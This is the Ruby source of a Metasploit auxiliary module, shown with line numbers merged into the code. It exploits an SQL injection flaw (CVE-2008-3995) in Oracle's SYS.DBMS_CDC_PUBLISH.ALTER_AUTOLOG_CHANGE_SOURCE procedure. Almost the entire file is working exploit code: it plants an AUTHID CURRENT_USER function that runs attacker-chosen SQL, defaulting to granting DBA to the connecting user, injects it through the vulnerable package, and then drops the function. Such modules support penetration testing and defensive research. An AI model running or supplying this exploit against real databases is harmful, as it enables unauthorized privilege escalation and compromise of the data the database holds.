Path: blob/master/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::ORACLE78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE',13'Description' => %q{14The module exploits an sql injection flaw in the ALTER_AUTOLOG_CHANGE_SOURCE15procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege16on the vulnerable package can exploit this vulnerability. By default, users granted17EXECUTE_CATALOG_ROLE have the required privilege.18Affected versions: Oracle Database Server versions 10gR1, 10gR2 and 11gR1.19Fixed with October 2008 CPU.20},21'Author' => [ 'MC' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2008-3995' ],25[ 'OSVDB', '49320']26],27'DisclosureDate' => '2008-10-22',28'Notes' => {29'Stability' => [CRASH_SAFE],30'SideEffects' => [IOC_IN_LOGS],31'Reliability' => []32}33)34)3536register_options(37[38OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),39]40)41end4243def run44return if !check_dependencies4546name = Rex::Text.rand_text_alpha_upper(1..10)4748function = "49CREATE OR REPLACE FUNCTION #{name}50RETURN VARCHAR2 AUTHID CURRENT_USER51IS52PRAGMA AUTONOMOUS_TRANSACTION;53BEGIN54EXECUTE IMMEDIATE '#{datastore['SQL']}';55COMMIT;56RETURN NULL;57END;"5859package = "60BEGIN61SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE('''||'||user||'.#{name}||''');62END;63"6465clean = "DROP FUNCTION #{name}"6667begin68print_status('Sending function...')69prepare_exec(function)70rescue StandardError71return72end73print_status('Attempting sql injection on SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE...')74prepare_exec(package)7576print_status("Done! Removing function '#{name}'...")77prepare_exec(clean)78end79end808182